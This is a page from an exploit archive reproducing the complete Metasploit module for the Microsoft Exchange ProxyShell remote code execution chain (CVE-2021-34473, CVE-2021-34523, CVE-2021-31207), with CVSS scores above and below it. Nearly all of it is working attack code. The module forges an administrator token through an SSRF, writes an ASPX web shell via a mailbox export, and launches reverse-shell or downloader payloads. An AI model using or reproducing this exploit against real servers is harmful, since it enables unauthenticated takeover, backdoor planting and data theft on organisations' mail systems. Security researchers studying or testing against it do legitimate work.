Lucene search

K
zdtMetasploit1337DAY-ID-36667
HistoryAug 21, 2021 - 12:00 a.m.

Microsoft Exchange ProxyShell Remote Code Execution Exploit

2021-08-2100:00:00
metasploit
0day.today
324

9.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

This Metasploit module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication, impersonate an arbitrary user, and write an arbitrary file to achieve remote code execution. By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 CU23 versions before 15.0.1497.15, Exchange 2016 CU19 versions before 15.1.2176.12, Exchange 2016 CU20 versions before 15.1.2242.5, Exchange 2019 CU8 versions before 15.2.792.13, and Exchange 2019 CU9 versions before 15.2.858.9.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'winrm'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange ProxyShell RCE',
        'Description' => %q{
          This module exploit a vulnerability on Microsoft Exchange Server that
          allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an
          arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
          the RCE (Remote Code Execution).

          By taking advantage of this vulnerability, you can execute arbitrary
          commands on the remote Microsoft Exchange Server.

          This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,
          Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
          Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.

          All components are vulnerable by default.
        },
        'Author' => [
          'Orange Tsai', # Discovery
          'Jang (@testanull)', # Vulnerability analysis
          'PeterJson', # Vulnerability analysis
          'brandonshi123', # Vulnerability analysis
          'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template
          'Spencer McIntyre', # Metasploit module
          'wvu' # Testing
        ],
        'References' => [
          [ 'CVE', '2021-34473' ],
          [ 'CVE', '2021-34523' ],
          [ 'CVE', '2021-31207' ],
          [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],
          [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],
          [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ]
        ],
        'DisclosureDate' => '2021-04-06', # pwn2own 2021
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Platform' => ['windows'],
        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Powershell',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_powershell,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_dropper,
              'CmdStagerFlavor' => %i[psh_invokewebrequest],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
                'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_CMD],
              'Type' => :windows_command,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'AKA' => ['ProxyShell'],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptString.new('EMAIL', [true, 'A known email address for this organization']),
      OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),
    ])

    register_advanced_options([
      OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),
      OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
      OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
      OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
      OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
      OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
      OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])
    ])
  end

  def check
    @ssrf_email ||= Faker::Internet.email
    res = send_http('GET', '/mapi/nspi/')
    return CheckCode::Unknown if res.nil?
    return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'

    CheckCode::Vulnerable
  end

  def cmd_windows_generic?
    datastore['PAYLOAD'] == 'cmd/windows/generic'
  end

  def encode_cmd(cmd)
    cmd.gsub!('\\', '\\\\\\')
    cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
  end

  def random_mapi_id
    id = "{#{Rex::Text.rand_text_hex(8)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
    id.upcase
  end

  def request_autodiscover(_server_name)
    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }

    response = send_http(
      'POST',
      '/autodiscover/autodiscover.xml',
      data: soap_autodiscover,
      ctype: 'text/xml; charset=utf-8'
    )

    case response.body
    when %r{<ErrorCode>500</ErrorCode>}
      fail_with(Failure::NotFound, 'No Autodiscover information was found')
    when %r{<Action>redirectAddr</Action>}
      fail_with(Failure::NotFound, 'No email address was found')
    end

    xml = Nokogiri::XML.parse(response.body)

    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
    fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?

    server = ''
    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
      type = item.at_xpath('./xmlns:Type', xmlns)&.content
      if type == 'EXCH'
        server = item.at_xpath('./xmlns:Server', xmlns)&.content
      end
    end
    fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?

    { server: server, legacy_dn: legacy_dn }
  end

  def request_fqdn
    ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    received = send_request_raw(
      'method' => 'RPC_IN_DATA',
      'uri' => normalize_uri('rpc', 'rpcproxy.dll'),
      'headers' => {
        'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"
      }
    )
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)
      hash = received['WWW-Authenticate'].split('NTLM ')[1]
      message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
      dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]

      return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase
    end

    fail_with(Failure::NotFound, 'No Backend server was found')
  end

  # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
  def request_mapi(_server_name, legacy_dn)
    data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
    headers = {
      'X-RequestType' => 'Connect',
      'X-ClientInfo' => random_mapi_id,
      'X-ClientApplication' => datastore['MapiClientApp'],
      'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
    }

    sid = ''
    response = send_http(
      'POST',
      '/mapi/emsmdb',
      data: data,
      ctype: 'application/mapi-http',
      headers: headers
    )
    if response&.code == 200
      sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s
    end
    fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?

    sid
  end

  # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
  def run_cve_2021_34473
    if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?
      server_name = datastore['BackendServerName']
      print_status("Internal server name forced to: #{server_name}")
    else
      print_status('Retrieving backend FQDN over RPC request')
      server_name = request_fqdn
      print_status("Internal server name: #{server_name}")
    end
    @backend_server_name = server_name

    # get information via an autodiscover request.
    print_status('Sending autodiscover request')
    autodiscover = request_autodiscover(server_name)

    print_status("Server: #{autodiscover[:server]}")
    print_status("LegacyDN: #{autodiscover[:legacy_dn]}")

    # get the user UID using mapi request.
    print_status('Sending mapi request')
    mailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn])
    print_status("SID: #{mailbox_user_sid} (#{datastore['EMAIL']})")

    send_payload(mailbox_user_sid)
    @common_access_token = build_token(mailbox_user_sid)
  end

  def send_http(method, uri, opts = {})
    ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
    unless opts[:cookie] == :none
      opts[:cookie] = "Email=#{ssrf}"
    end

    request = {
      'method' => method,
      'uri' => "/#{ssrf}#{uri}",
      'agent' => datastore['UserAgent'],
      'ctype' => opts[:ctype],
      'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
    }
    request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
    request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
    request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?

    received = send_request_cgi(request)
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    received
  end

  def send_payload(user_sid)
    @shell_input_name = rand_text_alphanumeric(8..12)
    @draft_subject = rand_text_alphanumeric(8..12)
    payload = Rex::Text.encode_base64(PstEncoding.encode("#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{@shell_input_name}\"],\"unsafe\");}</script>"))
    file_name = "#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}"
    envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)

    send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
  end

  def soap_autodiscover
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
      </Autodiscover>
    SOAP
  end

  def web_directory
    if datastore['UseAlternatePath']
      datastore['IISWritePath'].gsub('\\', '/')
    else
      datastore['ExchangeWritePath'].gsub('\\', '/')
    end
  end

  def build_token(sid)
    uint8_tlv = proc do |type, value|
      type + [value.length].pack('C') + value
    end

    token = uint8_tlv.call('V', "\x00")
    token << uint8_tlv.call('T', 'Windows')
    token << "\x43\x00"
    token << uint8_tlv.call('A', 'Kerberos')
    token << uint8_tlv.call('L', datastore['EMAIL'])
    token << uint8_tlv.call('U', sid)

    # group data for S-1-5-32-544
    token << "\x47\x01\x00\x00\x00\x07\x00\x00\x00\x0c\x53\x2d\x31\x2d\x35\x2d\x33\x32\x2d\x35\x34\x34\x45\x00\x00\x00\x00"
    Rex::Text.encode_base64(token)
  end

  def execute_powershell(cmdlet, args: [])
    winrm = SSRFWinRMConnection.new({
      endpoint: full_uri('PowerShell/'),
      transport: :ssrf,
      ssrf_proc: proc do |method, uri, opts|
        uri = "#{uri}?X-Rps-CAT=#{@common_access_token}"
        uri << "&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}"
        opts[:cookie] = :none
        opts[:data].gsub!(
          %r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
          "<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
        )
        opts[:data].gsub!(
          %r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
          "<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
        )
        send_http(method, uri, opts)
      end
    })

    winrm.shell(:powershell) do |shell|
      shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
      shell.extend(SSRFWinRMConnection::PowerShell)
      shell.run({ cmdlet: cmdlet, args: args })
    end
  end

  def exploit
    @ssrf_email ||= Faker::Internet.email
    print_status('Attempt to exploit for CVE-2021-34473')
    run_cve_2021_34473

    powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}", cookie: :none)
    fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200

    print_status('Assigning the \'Mailbox Import Export\' role')
    execute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ])

    @shell_filename = "#{rand_text_alphanumeric(8..12)}.aspx"
    if datastore['UseAlternatePath']
      unc_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
      unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
    else
      unc_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
      unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
    end

    normal_path = unc_path.gsub(/^\\+127\.0\.0\.1\\(.)\$\\/, '\1:\\')
    print_status("Writing to: #{normal_path}")
    register_file_for_cleanup(normal_path)

    @export_name = rand_text_alphanumeric(8..12)
    execute_powershell('New-MailboxExportRequest', args: [
      { name: '-Name', value: @export_name },
      { name: '-Mailbox', value: datastore['EMAIL'] },
      { name: '-IncludeFolders', value: '#Drafts#' },
      { name: '-ContentFilter', value: "(Subject -eq '#{@draft_subject}')" },
      { name: '-ExcludeDumpster' },
      { name: '-FilePath', value: unc_path }
    ])

    print_status('Waiting for the export request to complete...')
    30.times do
      if execute_command('whoami')&.code == 200
        print_good('The mailbox export request has completed')
        break
      end
      sleep 5
    end

    print_status('Triggering the payload')
    case target['Type']
    when :windows_command
      vprint_status("Generated payload: #{payload.encoded}")

      if !cmd_windows_generic?
        execute_command(payload.encoded)
      else
        boundary = rand_text_alphanumeric(8..12)
        response = execute_command("cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}")

        print_warning('Dumping command output in response')
        if response.body =~ /START#{boundary}(.*)END#{boundary}/m
          print_line(Regexp.last_match(1).strip)
        else
          print_error('Empty response, no command output')
        end
      end
    when :windows_dropper
      execute_command(generate_cmdstager(concat_operator: ';').join)
    when :windows_powershell
      cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
      execute_command(cmd)
    end
  end

  def cleanup
    super
    return unless @common_access_token && @export_name

    print_status('Removing the mailbox export request')
    execute_powershell('Remove-MailboxExportRequest', args: [
      { name: '-Identity', value: "#{datastore['EMAIL']}\\#{@export_name}" },
      { name: '-Confirm', value: false }
    ])
  end

  def execute_command(cmd, _opts = {})
    if !cmd_windows_generic?
      cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"
    else
      cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
    end

    send_request_raw(
      'method' => 'POST',
      'uri' => normalize_uri(web_directory, @shell_filename),
      'ctype' => 'application/x-www-form-urlencoded',
      'data' => "#{@shell_input_name}=#{cmd}"
    )
  end
end

class PstEncoding
  ENCODE_TABLE = [
    71, 241, 180, 230, 11, 106, 114, 72,
    133, 78, 158, 235, 226, 248, 148, 83,
    224, 187, 160, 2, 232, 90, 9, 171,
    219, 227, 186, 198, 124, 195, 16, 221,
    57, 5, 150, 48, 245, 55, 96, 130,
    140, 201, 19, 74, 107, 29, 243, 251,
    143, 38, 151, 202, 145, 23, 1, 196,
    50, 45, 110, 49, 149, 255, 217, 35,
    209, 0, 94, 121, 220, 68, 59, 26,
    40, 197, 97, 87, 32, 144, 61, 131,
    185, 67, 190, 103, 210, 70, 66, 118,
    192, 109, 91, 126, 178, 15, 22, 41,
    60, 169, 3, 84, 13, 218, 93, 223,
    246, 183, 199, 98, 205, 141, 6, 211,
    105, 92, 134, 214, 20, 247, 165, 102,
    117, 172, 177, 233, 69, 33, 112, 12,
    135, 159, 116, 164, 34, 76, 111, 191,
    31, 86, 170, 46, 179, 120, 51, 80,
    176, 163, 146, 188, 207, 25, 28, 167,
    99, 203, 30, 77, 62, 75, 27, 155,
    79, 231, 240, 238, 173, 58, 181, 89,
    4, 234, 64, 85, 37, 81, 229, 122,
    137, 56, 104, 82, 123, 252, 39, 174,
    215, 189, 250, 7, 244, 204, 142, 95,
    239, 53, 156, 132, 43, 21, 213, 119,
    52, 73, 182, 18, 10, 127, 113, 136,
    253, 157, 24, 65, 125, 147, 216, 88,
    44, 206, 254, 36, 175, 222, 184, 54,
    200, 161, 128, 166, 153, 152, 168, 47,
    14, 129, 101, 115, 228, 194, 162, 138,
    212, 225, 17, 208, 8, 139, 42, 242,
    237, 154, 100, 63, 193, 108, 249, 236
  ].freeze

  def self.encode(data)
    encoded = ''
    data.each_char do |char|
      encoded << ENCODE_TABLE[char.ord].chr
    end
    encoded
  end
end

class XMLTemplate
  def self.render(template_name, context = nil)
    file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', "#{template_name}.xml.erb")
    template = ::File.binread(file_path)
    case context
    when Hash
      b = binding
      locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
      b.eval(locals.join)
    else
      raise ArgumentError
    end
    b.eval(Erubi::Engine.new(template).src)
  end
end

class SSRFWinRMConnection < WinRM::Connection
  class MessageFactory < WinRM::PSRP::MessageFactory
    def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
      WinRM::PSRP::Message.new(
        runspace_pool_id,
        WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
        XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
        pipeline_id
      )
    end
  end

  # we have to define this class so we can define our own transport factory that provides one backed by the SSRF
  # vulnerability
  class TransportFactory < WinRM::HTTP::TransportFactory
    class HttpSsrf < WinRM::HTTP::HttpTransport
      # rubocop:disable Lint/
      def initialize(endpoint, options)
        @endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
        @ssrf_proc = options[:ssrf_proc]
      end

      def send_request(message)
        resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
        WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
      end
    end

    def create_transport(connection_opts)
      raise NotImplementedError unless connection_opts[:transport] == :ssrf

      super
    end

    private

    def init_ssrf_transport(opts)
      HttpSsrf.new(opts[:endpoint], opts)
    end
  end

  module PowerShell
    def send_command(command, _arguments)
      command_id = SecureRandom.uuid.to_s.upcase
      message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
      fragmenter.fragment(message) do |fragment|
        command_args = [connection_opts, shell_id, command_id, fragment]
        if fragment.start_fragment
          resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
          command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
        else
          transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
        end
      end

      command_id
    end
  end

  def initialize(connection_opts)
    # these have to be set to truthy values to pass the option validation, but they're not actually used because hax
    connection_opts.merge!({ user: :ssrf, password: :ssrf })
    super(connection_opts)
  end

  def transport
    @transport ||= begin
      transport_factory = TransportFactory.new
      transport_factory.create_transport(@connection_opts)
    end
  end
end

9.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C